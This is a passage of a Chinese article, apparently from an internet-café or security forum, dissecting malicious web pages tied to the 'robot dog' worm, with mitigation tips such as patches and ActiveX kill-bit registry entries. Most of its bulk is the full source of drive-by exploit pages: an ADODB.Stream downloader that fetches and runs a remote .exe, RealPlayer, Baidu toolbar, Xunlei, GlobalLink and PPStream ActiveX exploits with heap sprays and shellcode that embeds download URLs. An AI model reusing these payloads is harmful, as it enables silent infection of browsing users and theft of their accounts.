机器狗病毒由外而内深入漏洞解析

解决目前90%以上的IE病毒及一切IE内核浏览器引起的ado.stream漏洞，也就是目前网页中最常用的病毒
这些病毒大多是利用ado.stream对象生成一个可执行文件,再用shell调用可执行文件达到病毒植入的目的
解决办法有3种
1, 采用微软的ms06-014安全补丁 http://www.microsoft.com/china/technet/security/bulletin/MS06
-014.mspx
2,删除C:\Program Files\Common Files\System\msadc\msadco.dll及%windir%\system32\DLLCache\msadco.dll，或者运行
regsvr32 /u "C:\Program Files\Common Files\System\msadc\msadco.dll"
3,导入以下注册表文件
Windows Registry Editor Version 5.00
[-HKEY_CLASSES_ROOT\CLSID\{BD96C556-65A3-11D0-983A-00C04FC29E33}\InprocServer32]
@="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll"
"ThreadingModel"="Apartment"
[-HKEY_CLASSES_ROOT\CLSID\{BD96C556-65A3-11D0-983A-00C04FC29E36}\InprocServer32]
@="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll"
"ThreadingModel"="Both"
[-HKEY_CLASSES_ROOT\TypeLib\{BD96C556-65A3-11D0-983A-00C04FC29E30}\1.5\0\win32]
@="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll"
[-HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{BD96C556-65A3-11D0-983A-00C04FC29E33}\InprocServer32]
@="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll"
"ThreadingModel"="Apartment"
[-HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{BD96C556-65A3-11D0-983A-00C04FC29E33}\InprocServer32]
@="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll"
"ThreadingModel"="Apartment"
[-HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{BD96C556-65A3-11D0-983A-00C04FC29E36}\InprocServer32]
@="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll"
"ThreadingModel"="Both"
[-HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{BD96C556-65A3-11D0-983A-00C04FC29E30}\1.5\0\win32]
@="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll"

第三节: 还是MS06-014漏洞利用

下面再看看http://xx.exiao01.com/wm/2.htm的源码吧..代码如下:

<SCRIPT>var loveyxn="%3Chtml%3E%3Cscript language%3D%22VBScript%22%3E on error resume next%0D%0A";document.write(unescape(loveyxn))</SCRIPT>

y = "http://bbb.ehai01.com/0.exe"
m4="down"
m5="file"
m6="copy"
m7="exit"
Set yc = document.createElement("ｏｂｊｅｃｔ")
yc.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
ta=m4
tb=m5
tc=m6
td=m7
yi="Microsoft.XMLHTTP"
Set yd = yc.CreateObject(yi,"")
WX="Ado"
XU="db."
WANGXUELEI="YUXIAONA"
WXL="YXN"
LOVE="YXN"
LE="Str"
YX="eam"
YXN=WX&XU&LE&YX
WXL=YXN
set ya = yc.createｏｂｊｅｃｔ(WXL,"")
ya.type = 1
yh="GET"
yd.Open yh, y, False
yd.Send
y9="别点我嘛.EXE"
set yb = yc.createｏｂｊｅｃｔ("S&loveyxn&crip&wangxuei&ting.Fil&521&eSystemObject","")
set ye = yb.GetSpecialFolder(2)
ya.open
y8="ya.BuildPath(ya,y8)"
y7="yb.BuildPath(yb,y7)"
y6="yc.BuildPath(yd,y6)"
y5="yd.BuildPath(yf,y5)"
y4="ye.BuildPath(yg,y4)"
y3="yf.BuildPath(yh,y4)"
y2="yg.BuildPath(yi,y3)"
y1="yh.BuildPath(yg,y1)"
y0="yi.BuildPath(yk,y0)"
y9= yb.BuildPath(ye,y9)
ya.write yd.responseBody
ya.savetofile y9,2
ya.close
set ye = yc.createｏｂｊｅｃｔ("Shell.Application","")
WANGXUELEI="YUXIAONA"
WXL="YXN"
LOVE="YXN"
ye.ShellExecute y9,loveyxn,loveyxn,loveyxn,"o&love&pe&love&n",0</script></html>

<script type="text/jscript">function init() { document.write("你好，您所访问的页面正在加载中...请稍候片刻....\}window.onload = init;</script>
这次代码为了保证能正常运行，采取另外的方式加载网马。主要为了防止上面不成用下面这招。可谓用心良苦也。招招都是杀招呀！！

第四节: realplay你装了吧，它也有漏洞利用

下面再看看http://xx.exiao01.com/wm/3.htm的源码吧..代码如下:

<script language=javascript>
function RealExploit()
{
var user = navigator.userAgent.toLowerCase();
if(user.indexOf("msie 6")==-1&&user.indexOf("msie 7")==-1)
return;
if(user.indexOf("nt 5.")==-1)
return;
VulObject = "IER" + "PCtl.I" + "ERP" + "Ctl.1";
try
{
Real = new ActiveXObject(VulObject);
}catch(error)
{
return;
}
RealVersion = Real.PlayerProperty("PRODUCTVERSION");
Padding = "";
JmpOver = unescape("%75%06%74%04");
for(i=0;i<32*148;i++)
Padding += "S";
if(RealVersion.indexOf("6.0.14.") == -1)
{
if(navigator.userLanguage.toLowerCase() == "zh-cn")
ret = unescape("%7f%a5%60");
else if(navigator.userLanguage.toLowerCase() == "en-us")
ret = unescape("%4f%71%a4%60");
else
return;
}
else if(RealVersion == "6.0.14.544")
ret = unescape("%63%11%08%60");
else if(RealVersion == "6.0.14.550")
ret = unescape("%63%11%04%60");
else if(RealVersion == "6.0.14.552")
ret = unescape("%79%31%01%60");
else if(RealVersion == "6.0.14.543")
ret = unescape("%79%31%09%60");
else if(RealVersion == "6.0.14.536")
ret = unescape("%51%11%70%63");
else
return;
if(RealVersion.indexOf("6.0.10.") != -1)
{
for(i=0;i<4;i++)
Padding = Padding + JmpOver;
Padding = Padding + ret;
}
else if(RealVersion.indexOf("6.0.11.") != -1)
{
for(i=0;i<6;i++)
Padding = Padding + JmpOver;
Padding = Padding + ret;
}
else if(RealVersion.indexOf("6.0.12.") != -1)
{
for(i=0;i<9;i++)
Padding = Padding + JmpOver;
Padding = Padding + ret;
}
else if(RealVersion.indexOf("6.0.14.") != -1)
{
for(i=0;i<10;i++)
Padding = Padding + JmpOver;
Padding = Padding + ret;
}
AdjESP = "LLLL\\XXXXXLD";
Shell = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIqpZKtPQKPKUczi3Vx9LOS2k04tvkKNKRKJXkGuJHXkIoYokOeGJo9lynkNoQz4JnmwmJPuKOQemnL2PuNn9rCc2ULVxvpu7yLTHyNGR6vOKOKNKNglgwONqnxFWMNkWtd7NXKjJ6z1LPYnKNJ6LKlLLRj3NJNt9oOWpuKHTVE9YoinKNPkTVruKOKNKNsCQPo9kOYnKNLiLV7qKNynkNgqMxzZ9m6YuiKNmrmPopxPGIMnXzmKLFokKNi9GqmxJV8M7ULmNMlirSnXyVNNnMGqoXyrntMBZ6npLJmJLROZntiomw2UJX26NNkOinKNQewfImONhBPuNVKRt5MVJrImuSNzT58khNynKNkNpuPlaF9nkNKNnvfoOCkktkZ6FonSYKTkNvUgNLMpNM5QkzQz41LxJv6YnXZroCsOXNhoMF1VXL9nynJ6cvXNYnynlVpFxWinInPuYjrJonoIkwkINj9leL5WrWMPJnMOJ6QVYqKOKNlVPFXk9oInofw6vnkNKNt5xzSZLyHGl9lJIlELtG47ophJz4KNZ6okObZmhLofNumKLLnpoZodKOoWsEZXWf5gYnKNinbUuvkMoNKr1munyvPuOvofKMS5CMK1zNkNozLK2UNQYbymEesOkwz0njLZMBnkMMpuKaKMWe^mSYninmZoWsEoKynRSmjm6KL8MP7hqQPXnyTWXOzzV7OP7L9ImdtmnVu6oyUx0xVNkKTOnN5n1ymNqhnnNLjJ4IjntxzNKuQOXKVNF5QlHznBQOKInOoDUKSkuNPn2LKm6MNhU8QkMlQXnnNOZJ49jNtKJnKvaLhhfLffamXZjPqoKkNMOsMUkzZweQO3MfYIzgecK0umP9zmzodkJNtnanIuQOX9vvYiilVzVKDKN8MWN46x9XzaegrOdxly7RuGl7snxUiOJJzXBkOKOPu32d3Ly8nOYNNNOloNOnOLonOlo2ST8O9KOKNKNLn5Qy8ZRwqMxZNQelhyJOOMuNLymuOymeOKMWoKMGo^gbjZmtnMT5Etwlc9nLfaeNNOOX0ulK8BpulJZpMVImdKI8PumXYNkMDKXMTwMgOOQCkM7KHMteJQspjNO47XNjl6uoP5Yi9m14mnVutOyUYqLKvyY04590KjkMUsLX0uxrMe1eOPxbKM5s1e8zpuKMGKF5MpmwEm4VfTfcgqS1ZlozpoJRkwwlOsqmk7yWWhsVvWCrShZ5mMRWvOnQtNlvOuYSm0cjLZ4QsNQ8PQQtnSqoZnZOKNkNKNYnynKNynynKNKN9nYnkNynkNkNkNkNkNInlVnjLJLNktkaN1mLolOlHPMKlVooNwHNXOZpomj1nsKaJnJpMKk6Ok9nA";

PayLoad = Padding + AdjESP + Shell;
while(PayLoad.length < 0x8000)
PayLoad += "copyleft";
Real.Import("c:\\Program Files\\NetMeeting\\TestSnd.wav", PayLoad,"", 0, 0);
}
RealExploit();
</script>
代码被加密了，解密留给感兴趣的朋友吧。
不过，中招后，系统为跳出realplay播放窗口。在代码中，也可以发现realplay的调用迹象。这正是网马利用realplay播放器漏洞的一种形式。现在看该漏洞的描述：

源于RealPlayer 播放器中的MPAMedia.dll 提供的数据库组件，在处理播放列表名时存在栈溢出漏洞，可以使用ierpplug.dll提供的IERPCtl ActiveX 控件导入一个特殊的播放列表让RealPlayer读取，病毒作者可以通过构造包含此漏洞触发代码的恶意网页，当用户不小心浏览过该网页时，如果电脑中安装的RealPlayer 播放器版本包含此漏洞，就可以触发这个溢出，导致执行任意代码。
影响版本：RealPlayer 11 Beta
　　　　　RealPlayer 10.5
该漏洞CVE数据库信息：CVE-2007-5601
关于相关细节，我们以后再深入研究吧

五节: 百度超级搜霸远程代码执行漏洞，你不会正好装了搜霸吧？

下面再看看http://xx.exiao01.com/wm/4.htm的源码吧..代码如下:

<html>
<head>
<ｏｂｊｅｃｔ ID="wwwcuteqqcn" Classid="clsid:{A7F05EE4-0426-454F-8013-C41E3596E9E9}"></ｏｂｊｅｃｔ>
<script>
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('6 4(){3["2"]("5://b.7.a/1.9","1.8",0)}',12,12,'|calc|Dloadds|wwwcuteqqcn|CuteqqCn|http|function|ehai01|exe|cab|com|bbb'.split('|'),0,{}))
</script>
</head>
<script>
CuteqqCn()
</script>
</html>
你不需要理解太多，但至少要看到这个关键字符串：
clsid:{A7F05EE4-0426-454F-8013-C41E3596E9E9}
从网上查找的相关资料如下：

文章提交：cocoruder (frankruder_at_hotmail.com)

百度超级搜霸远程代码执行漏洞

by cocoruder(frankruer_at_hotmail.com)
http://ruder.cdut.net

Summary:

百度超级搜霸是百度公司出品的一款免费的浏览器工具栏，提供百度公司的各种服务。更多信息请参考：

http://bar.baidu.com/sobar/promotion.html

在百度超级搜霸中的一个ActiveX控件中存在一个远程代码执行漏洞，远程攻击者可利用此漏洞在被攻击者系统上以当前浏览器权限执行任意代码，进而可安装木马以及间谍程序。

Affected Software Versions:

百度超级搜霸5.4(Version of "BaiduBar.dll" is 2.0.2.144)

Details:

漏洞存在于由ActiveX控件"BaiduBar.dll"导出的"DloadDS()"函数中，相关信息如下：

InprocServer32: C:\Program Files\baidu\bar\BaiduBar.dll
ClassID : A7F05EE4-0426-454F-8013-C41E3596E9E9

[id(0x0000001d), helpstring("method DloadDS")]
void DloadDS(
[in] BSTR bstrUrl,
[in] BSTR bstrName,
[in] long lShow);

如果把bstrUrl设置成某个服务器上的CAB文件，DloadDS()函数会尝试下载这个文件到TEMP目录并解压，然后执行其中的以bstrName命名的文件，执行处的关键代码如下：

.text:1006F407 lea eax, [ebp-28h]
.text:1006F40A lea ecx, [ebp-10h]
.text:1006F40D push eax ; lpProcessInformation
.text:1006F40E lea eax, [ebp-6Ch]
.text:1006F411 push eax ; lpStartupInfo
.text:1006F412 push esi ; lpCurrentDirectory
.text:1006F413 push esi ; lpEnvironment
.text:1006F414 push esi ; dwCreationFlags
.text:1006F415 push esi ; bInheritHandles
.text:1006F416 push esi ; lpThreadAttributes
.text:1006F417 push esi ; lpProcessAttributes
.text:1006F418 push esi
.text:1006F419 call sub_10004147 ; get the CommandLine
.text:1006F419
.text:1006F41E push eax ; lpCommandLine
.text:1006F41F push esi ; lpApplicationName
.text:1006F420 call ds:CreateProcessA

此时lpCommandLine指向"C:\DOCUME~1\administrator\LOCALS~1\Temp\calc.exe"，由于之前没有任何有效的检查措施，因此攻击者可构造包含木马或者间谍程序的CAB文件，然后用DloadDS()函数下载并运行它。因此，有漏洞的百度搜霸相当于一个完美的后门。

How to Reproduce:

Exploit在如下URL地址：

http://ruder.cdut.net/attach/baidu_soba/baidu_soba_exploit.html

安装百度搜霸, 用IE打开它并点击"DowndloadCalcAndRun"按纽，你会发现计数器程序(在http://ruder.cdut.net/attach/calc.cab)被下载并执行。

如果你无法找到受影响的版本，带有数字签名的百度搜霸5.4版在如下地址也可以下载到：

http://ruder.cdut.net/attach/baidu_soba/setup.exe

此文件的MD5值：7F751A157AF42E92FDD0AF3F179FE9AB

Solution:

Baidu通知已经修复了此漏洞，但实际上，从http://bar.baidu.com/sobar/promotion.html下载的Baidu搜霸依旧受到影响（MD5值没变，不过可能是在线更新未成功），强烈建议用户对此CLSID设置Killbit。

第六节: 迅雷也有漏洞!!

下面再看看5.htm的源码吧..代码如下:

<script type="text/jscript">function init() { document.write("");}window.onload = init;</script>
<SCRIPT language="JavaScript">
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4 5=q 1g();5.1f(5.1h()+24*w*w*1i);4 d=b.C.1k("B=");y(d==-1){b.C="B=1;5="+5.1j();b.1e(\'<j 1d="v" 18="17:16-19-1a-1c-1b"></j>\');4 p=1l;4 a=9("%f"+"%f"+"%f"+"%15%6%1w%1v%1x%6%1y%1A"+"%1z%1u%1t%1o%1n%1p%1q%6"+"%1s%1r%1B%V%L%K%M%N"+"%J%6%O%Q%G%D%g%I"+"%H%E%F%P%14%10%11%R"+"%13%Y%X%z%U%W%g%12"+"%z%S%s%T%Z%1m%t%s"+"%1M%t%2k%2j%2l%2m%2o%2n"+"%2i%2h%2c%1C%2d%2e%2q%2f"+"%2p%2s%2B%2A%2z%2C%2D%2F"+"%2y%2x%2r%2t%2u%2v%2w%2E"+"%2g%29%1N%2a%1O%1P%1R%1Q"+"%1L%1K%1F%1E%1D%1G%1H%1J"+"%1I%1S%1T%23%22%25%6");4 e=o;4 h=a.c*2;4 7=e-(h+26);4 3=9("%k%k");3=m(3,7);n=(p-o)/e;r=q 28();l=r;27(i=0;i<n;i++){l=3+a}21 m(3,7){A(3.c*2<7){3+=3}3=3.20(0,7/2);1V 3}4 u=1U;4 x=9("%8%8%8%8");A(x.c<u)x+=x;v.1W=x}</1X><1Z>y(d==-1){1Y.2b()}',62,166,'|||spraySlide|var|expires|u0000|spraySlideSize|0c|unescape|shellcode|document|length|set_cookie|hbshelloworld|u4343|uff53|payLoadSize||ｏｂｊｅｃｔ|u0D0D|cike|getSpraySlide|heapBlocks|0x100000|helloworld2Address|new|memory|u8b56|uf503|size_buff|gl|60||if|u56ff|while|3Ware|cookie|u206a|u5c03|u2e61|udc8b|u04c7|u0456|u2ee8|u6d6c|u7275|uff54|u9516|u8300|uc765|u20ec|u3300|u510c|u3c75|u8b10|u6800|u50dc|u5057|u5350|u748b|u7804|u0065|u0856|u50c0|u0344|ua3e9|F3E70CEA|clsid|classid|956E|49CC|73AFE593AD7F|B444|id|write|setTime|Date|getTime|1000|toGMTString|indexOf|0x0c0c0c0c|u782e|u046a|uf78b|ue859|u0043|u6f68|uf9e2|u0868|u8bad|ua164|u5f00|u0030|u408b|u1c70|u8b0c|u006e|u030d|u6262|u2f2f|u3a70|u2e62|u6865|u3130|u6961|u7474|u6870|u2076|u98b8|uef0e|ue0ce|u2f1a|u3660|u632e|u6d6f|1070|return|FlvPlayerUrl|SCRIPT|location|script|substring|function|u652e|u302f||u6578|0x38|for|Array|ue579|u8afe|reload|ucbc1|u40da|uf1eb|ue775|uc1ec|u0874|ud63a|u4149|uc933|u03ad|u33c5|u10be|u0fdb|u8b5e|u1f3b|u5eab|u245e|uc359|u58e8|uffff|u8eff|uc503|u8b04|u4b0c|u8b66|udd03|u5e8b|u031c|u0e4e|u8bdd'.split('|'),0,{}))
</script>

代码被加密了，网页找了N久，才找到管用的解密工具。以下就解密后的代码:
[code]
var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);var set_cookie=document.cookie.indexOf("3Ware=");if(set_cookie==-1){document.cookie="3Ware=1;expires="+expires.toGMTString();document.write('<ｏｂｊｅｃｔ id="gl" classid="clsid:F3E70CEA-956E-49CC-B444-73AFE593AD7F"></ｏｂｊｅｃｔ>');var helloworld2Address=0x0c0c0c0c;var shellcode=unescape("%u4343"+"%u4343"+"%u4343"+"%ua3e9%u0000%u5f00%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0868%uf78b%u046a%ue859%u0043%u0000"+"%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u9516"+"%u2ee8%u0000%u8300%u20ec%udc8b%u206a%uff53%u0456"+"%u04c7%u5c03%u2e61%uc765%u0344%u7804%u0065%u3300"+"%u50c0%u5350%u5057%u56ff%u8b10%u50dc%uff53%u0856"+"%u56ff%u510c%u8b56%u3c75%u748b%u782e%uf503%u8b56"+"%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be"+"%ud63a%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775"+"%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd"+"%u8b04%uc503%u5eab%uc359%u58e8%uffff%u8eff%u0e4e"+"%uc1ec%ue579%u98b8%u8afe%uef0e%ue0ce%u3660%u2f1a"+"%u6870%u7474%u3a70%u2f2f%u6262%u2e62%u6865%u6961"+"%u3130%u632e%u6d6f%u302f%u652e%u6578%u0000");var hbshelloworld=0x100000;var payLoadSize=shellcode.length*2;var spraySlideSize=hbshelloworld-(payLoadSize+0x38);var spraySlide=unescape("%u0D0D%u0D0D");spraySlide=getSpraySlide(spraySlide,spraySlideSize);heapBlocks=(helloworld2Address-0x100000)/hbshelloworld;memory=new Array();cike=memory;for(i=0;i<heapBlocks;i++){cike=spraySlide+shellcode}function getSpraySlide(spraySlide,spraySlideSize){while(spraySlide.length*2<spraySlideSize){spraySlide+=spraySlide}spraySlide=spraySlide.substring(0,spraySlideSize/2);return spraySlide}var size_buff=1070;var x=unescape("%0c%0c%0c%0c");while(x.length<size_buff)x+=x;gl.FlvPlayerUrl=x}</SCRIPT><script>if(set_cookie==-1){location.reload()}
代码进行了二次解密，二次解密，留给感兴趣的读者吧。很简单的加密方法。
关键是我们找到了想要的关键代码：

clsid:F3E70CEA-956E-49CC-B444-73AFE593AD7F"

网上找到的相关资料：

迅雷再爆高危0Day漏洞2007年11月15日星期四下午 01:05一、事件分析：
近日，超级巡警团队捕获到一个利用迅雷0day高危漏洞挂马的网页木马。迅雷用户在浏览到黑客精心构造的包含恶意代码的网页后，会在后台下载木马程序并运行。漏洞利用代码中的ClassID（F3E70CEA-956E-49CC-B444-73AFE593AD7F），经过超级巡警分析员确认，漏洞出现在迅雷看看(pplayer.dll_1_work)组件上。迅雷官方最新版本迅雷(Thunder5.7.4.401)依然受此漏洞影响，目前厂商还未发布补丁，迅雷安装时将默认安装迅雷看看的控件，所以所有安装了迅雷的用户都将受到此次漏洞的影响。

影响版本：迅雷5 5.7.4.401
pplayer.dll_1_work 1.2.3.49

构造的漏洞利用网页截图：
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" alt="" src="

" border=0>
用户在浏览恶意构造的网页后，目前会自动下载名为：Worm.Win32.Downloader.an 的木马下载器，该下载器主要下载盗号木马来窃取用户的网游/IM工具账号。

二、解决方案

1、在迅雷发布补丁之前请暂时卸载迅雷，或者使用临时解决方案，将下面内容保存为.reg文件，双击导入注册表：
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{F3E70CEA-956E-49CC-B444-73AFE593AD7F}]
"Compatibility Flags"=dword:00000400
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－

2、推荐安装超级巡警监测查杀木马，并及时修改自己的QQ/网游账号密码。

3、请广大用户及时使用超级巡警的补丁检查功能，检查并安装系统补丁，预防更多的漏洞攻击。

4、超级巡警团队已经第一时间通知迅雷官方安全小组，请关注官方升级报告。

关于迅雷（引自官方）：迅雷使用的多资源超线程技术基于网格原理，能够将网络上存在的服务器和计算机资源进行有效的整合，构成独特的迅雷网络，通过迅雷网络各种数据文件能够以最快速度进行传递。多资源超线程技术还具有互联网下载负载均衡功能，在不降低用户体验的前提下，迅雷网络可以对服务器资源进行均衡，有效降低了服务器负载。
很多人都用迅雷，就为其下载够快。我们网吧更要命的是，全装了迅雷软件。
晕乎！！很多网民钟爱它，没想它也成了网马跳板。

[attach]78972[/attach]

第七节: 联众世界也有漏洞利用，你防过了吗?！！

6.htm的源码..代码如下:

<html>
<ｏｂｊｅｃｔ classid="clsid:AE93C5DF-A990-11D1-AEBD-5254ABDD2B69" id='target'></ｏｂｊｅｃｔ>
<body>
<SCRIPT language="javascript">
var shellcode = unescape("%uf3e9%u0000%u9000"+
"%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572" +
"%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041
%u7468%u7074%u2F3A%u622F%u6262%u652E%u6168%u3069%u2E31%u6F63%u2F6D%u2E30%u7865%u0065");</script>
<SCRIPT language="javascript">
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
lovecike = memory;
for (x=0; x<300; x++) lovecike[x] = block +shellcode;
var buffer = '';
while (buffer.length < 164) buffer+="A";
buffer=buffer+"\x0a\x0a\x0a\x0a"+buffer;
ok="ok";
target.ConnectAndEnterRoom(buffer,ok,ok,ok,ok,ok );
</script>
</body>
</html>
关键代码:

clsid:AE93C5DF-A990-11D1-AEBD-5254ABDD2B69
代码也进行了简单加密，解密还是留给感兴趣的朋友。
查找相关资料：

受影响系统：

GlobalLink GlobalLink 2.7.0.8
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 26244
CVE(CAN) ID: CVE-2007-5722

联众世界游戏大厅是联众世界自主开发的一款集棋牌、休闲、对战于一体的游戏客户端。

联众世界游戏大厅所带的ActiveX控件实现上存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞控制用户系统。

联众世界游戏大厅所安装的GLCHAT.GLChatCtrl.1 ActiveX控件（GLChat.ocx）没有正确地处理ConnectAndEnterRoom()方式。如果用户受骗访问了恶意网页并向该方式传送了超常参数的话，就可能触发栈溢出，导致执行任意指令。目前这个漏洞正在被积极地利用。

<*来源：xyz24k

链接：http://hi.baidu.com/xyz24k/blog/item/90489d22a94265f0d7cae20e.html http://secunia.com/advisories/27500/*>

建议：
--------------------------------------------------------------------------------
临时解决方法：

* 为CLSID AE93C5DF-A990-11D1-AEBD-5254ABDD2B69设置kill-bit。

厂商补丁：

GlobalLink
----------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
这世界还让不让人活了？？

第八节:PPStream，网络电台p2p直播软件，也被利用了！！

7.htm源码如下:

<script type="text/jscript">
pps=(document.createElement("ｏｂｊｅｃｔ"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000%u9000"+
"%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b
%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c" +
"%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f" +
"%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547" +
"%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972" +
"%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041
%u7468%u7074%u2F3A%u622F%u6262%u652E%u6168%u3069%u2E31%u6F63%u2F6D%u2E30%u7865%u0065");var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer
</script>
关键代码：

clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458
网上查找得知，这是PPStream(p2p流媒体播放软件)，它能够帮助用户在网页中DIY一个视频直播的电台。这也是很常用的东西。
关于这个东西的是如何利用漏洞的，网上居然没有相关介绍.....疑问中。。。答案留给大家去找吧

第三章攻破系统第二道防线:还原软件也有弱点

各类还原卡，冰点，还原精灵等还原硬件或软件，因其特别的还原和保护能力，被网吧普遍应用着。一直以来，他们在网吧管理中发挥了重要的作用，大大减轻了网管员的工作负担，有效的避开了各种病毒和木马的攻击。
但是，随着机器狗病毒的爆发，还原硬件或软件的弱点也被爆漏出来。

第一节穿透还原卡和还原软件的代码

还原卡和还原软件被广泛运用于各种公共场合的电脑上，比如学校机房和网吧。这些还原卡和还原软件（以下我简称为虚拟还原技术）能够记录下一切对硬盘的写操作，不论您对硬盘进行拷贝还是移动删除甚至是格式化分区等操作，只要一重新启动，一切都会恢复到这个操作之前的情况，因此有些虚拟还原厂商还会在广告词中加上一句“可以防范一切电脑病毒”。这种虚拟还原的方法在大部分时候的确可以对公共机房的电脑起到很好的保护作用，难道真的没有一种方法能够穿透这种保护机制么？答案是否定的，下面请听我一一道来。

一、虚拟还原技术的原理

本文所说的是一种普遍运用于还原卡或还原软件上的技术，当然，不同品牌不同厂商生产的可能不尽相同，但原理却是相通的。

